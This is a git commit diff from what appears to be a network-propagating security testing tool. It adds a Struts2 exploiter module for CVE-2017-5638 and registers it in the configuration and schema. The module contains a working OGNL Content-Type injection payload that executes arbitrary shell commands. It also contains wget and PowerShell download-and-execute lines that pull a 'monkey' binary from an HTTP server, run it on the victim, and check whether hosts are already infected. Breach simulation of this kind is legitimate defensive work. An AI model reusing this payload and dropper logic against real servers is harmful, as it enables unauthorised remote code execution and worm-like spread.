Not yet functioning and tested, but most functions are done
This commit is contained in:
parent
9a8a6c6e28
commit
413bdd9254
|
@ -7,7 +7,7 @@ from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
||||||
SambaCryExploiter, ElasticGroovyExploiter
|
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
@ -148,7 +148,7 @@ class Configuration(object):
|
||||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
|
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
|
||||||
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
||||||
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
||||||
ElasticGroovyExploiter, # multi
|
ElasticGroovyExploiter, Struts2Exploiter # multi
|
||||||
]
|
]
|
||||||
|
|
||||||
# how many victims to look for in a single scan iteration
|
# how many victims to look for in a single scan iteration
|
||||||
|
|
|
@ -36,7 +36,8 @@
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"SambaCryExploiter"
|
"SambaCryExploiter",
|
||||||
|
"Struts2Exploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
|
|
@ -41,3 +41,4 @@ from sshexec import SSHExploiter
|
||||||
from shellshock import ShellShockExploiter
|
from shellshock import ShellShockExploiter
|
||||||
from sambacry import SambaCryExploiter
|
from sambacry import SambaCryExploiter
|
||||||
from elasticgroovy import ElasticGroovyExploiter
|
from elasticgroovy import ElasticGroovyExploiter
|
||||||
|
from struts2 import Struts2Exploiter
|
||||||
|
|
|
@ -0,0 +1,204 @@
|
||||||
|
"""
|
||||||
|
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
|
||||||
|
code used is from https://www.exploit-db.com/exploits/41570/
|
||||||
|
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
||||||
|
"""
|
||||||
|
import urllib2
|
||||||
|
import httplib
|
||||||
|
import unicodedata
|
||||||
|
import re
|
||||||
|
|
||||||
|
from network.tools import check_tcp_ports
|
||||||
|
import logging
|
||||||
|
from exploit import HostExploiter
|
||||||
|
from exploit.tools import get_target_monkey, get_monkey_depth
|
||||||
|
from tools import build_monkey_commandline, HTTPTools
|
||||||
|
|
||||||
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
ID_STRING = "M0NK3YSTRUTS2"
|
||||||
|
MONKEY_ARG = "m0nk3y"
|
||||||
|
# Commands used for downloading monkeys
|
||||||
|
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
|
||||||
|
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
|
||||||
|
# Command used to check whether host is vulnerable
|
||||||
|
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||||
|
# Commands used to check for architecture
|
||||||
|
CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING
|
||||||
|
CHECK_LINUX = "%s && lscpu" % ID_STRING
|
||||||
|
# Commands used to check if monkeys already exists
|
||||||
|
EXISTS = "ls %s"
|
||||||
|
|
||||||
|
WEB_PORTS = [80, 443, 8080]
|
||||||
|
# Timeouts if the payload is wrong
|
||||||
|
DOWNLOAD_TIMEOUT = 30
|
||||||
|
# This is set so that we don't have to wait for monkeys' output (in seconds)
|
||||||
|
RESPONSE_TIMEOUT = 1
|
||||||
|
|
||||||
|
|
||||||
|
class Struts2Exploiter(HostExploiter):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(Struts2Exploiter, self).__init__(host)
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
# TODO add skip if file exists
|
||||||
|
# Initializing vars for convenience
|
||||||
|
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
|
||||||
|
dropper_path_linux = self._config.dropper_target_path_linux
|
||||||
|
dropper_path_win_32 = self._config.dropper_target_path_win_32
|
||||||
|
dropper_path_win_64 = self._config.dropper_target_path_win_64
|
||||||
|
|
||||||
|
if not ports:
|
||||||
|
LOG.info("All web ports are closed on %r, skipping", self.host)
|
||||||
|
return False
|
||||||
|
|
||||||
|
for port in ports:
|
||||||
|
if port == 443:
|
||||||
|
current_host = "https://%s:%d" % (self.host.ip_addr, port)
|
||||||
|
else:
|
||||||
|
# TODO remove struts from url
|
||||||
|
current_host = "http://%s:%d/struts" % (self.host.ip_addr, port)
|
||||||
|
# Get full URL
|
||||||
|
current_host = self.get_redirected(current_host)
|
||||||
|
# Get os architecture so that we don't have to update monkey
|
||||||
|
|
||||||
|
LOG.info("Trying to exploit with struts2")
|
||||||
|
# Check if host is vulnerable and get host os architecture
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
host_arch = Struts2Exploiter.try_exploit_linux(current_host)
|
||||||
|
else:
|
||||||
|
host_arch = Struts2Exploiter.try_exploit_windows(current_host)
|
||||||
|
|
||||||
|
if host_arch:
|
||||||
|
self.host.os['machine'] = host_arch
|
||||||
|
|
||||||
|
if current_host and host_arch:
|
||||||
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
|
# Form command according to os
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)):
|
||||||
|
return True
|
||||||
|
command = WGET_HTTP % {'monkey_path': dropper_path_linux,
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
else:
|
||||||
|
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32)
|
||||||
|
or self.check_remote_file(current_host, dropper_path_win_64)):
|
||||||
|
return True
|
||||||
|
command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32),
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
|
self.exploit(current_host, command)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Struts2 exploit attempt finished")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check_remote_file(self, host, path):
|
||||||
|
command = EXISTS % path
|
||||||
|
resp = self.exploit(host, command)
|
||||||
|
if 'No such file' in resp:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def try_exploit_windows(url):
|
||||||
|
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
||||||
|
if resp and ID_STRING in resp:
|
||||||
|
if "64-bit" in resp:
|
||||||
|
return "64"
|
||||||
|
else:
|
||||||
|
return "32"
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def try_exploit_linux(url):
|
||||||
|
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
||||||
|
if resp and ID_STRING in resp:
|
||||||
|
if "x86_64" in resp:
|
||||||
|
return "64"
|
||||||
|
else:
|
||||||
|
return "32"
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_redirected(url):
|
||||||
|
# Returns false if url is not right
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0'}
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
try:
|
||||||
|
return urllib2.urlopen(request).geturl()
|
||||||
|
except urllib2.URLError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def exploit(url, cmd, timeout=None):
|
||||||
|
"""
|
||||||
|
:param url: Full url to send request to
|
||||||
|
:param cmd: Code to try and execute on host
|
||||||
|
:param timeout: How long to wait for response in seconds(if monkey is executed
|
||||||
|
it's better not to wait it's whole output
|
||||||
|
:return: response
|
||||||
|
"""
|
||||||
|
page = ""
|
||||||
|
|
||||||
|
payload = "%{(#_='multipart/form-data')."
|
||||||
|
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||||
|
payload += "(#_memberAccess?"
|
||||||
|
payload += "(#_memberAccess=#dm):"
|
||||||
|
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
||||||
|
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
||||||
|
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
|
||||||
|
payload += "(#ognlUtil.getExcludedClasses().clear())."
|
||||||
|
payload += "(#context.setMemberAccess(#dm))))."
|
||||||
|
payload += "(#cmd='%s')." % cmd
|
||||||
|
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
||||||
|
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
||||||
|
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
|
||||||
|
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
|
||||||
|
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
||||||
|
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
||||||
|
payload += "(#ros.flush())}"
|
||||||
|
# Turns payload ascii just for consistency
|
||||||
|
if isinstance(payload, unicode):
|
||||||
|
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
||||||
|
try:
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
# Timeout added or else we would wait for all monkeys' output
|
||||||
|
page = urllib2.urlopen(request, timeout=timeout).read()
|
||||||
|
except AttributeError:
|
||||||
|
# If url does not exist
|
||||||
|
return False
|
||||||
|
except httplib.IncompleteRead, e:
|
||||||
|
page = e.partial
|
||||||
|
except Exception:
|
||||||
|
LOG.info("Request timed out, because monkey is still running on remote host")
|
||||||
|
|
||||||
|
return page
|
|
@ -80,6 +80,13 @@ SCHEMA = {
|
||||||
],
|
],
|
||||||
"title": "ElasticGroovy Exploiter"
|
"title": "ElasticGroovy Exploiter"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"Struts2Exploiter"
|
||||||
|
],
|
||||||
|
"title": "Struts2 Exploiter"
|
||||||
|
}
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"finger_classes": {
|
"finger_classes": {
|
||||||
|
@ -609,7 +616,8 @@ SCHEMA = {
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"ElasticGroovyExploiter"
|
"ElasticGroovyExploiter",
|
||||||
|
"Struts2Exploiter"
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
|
Loading…
Reference in New Issue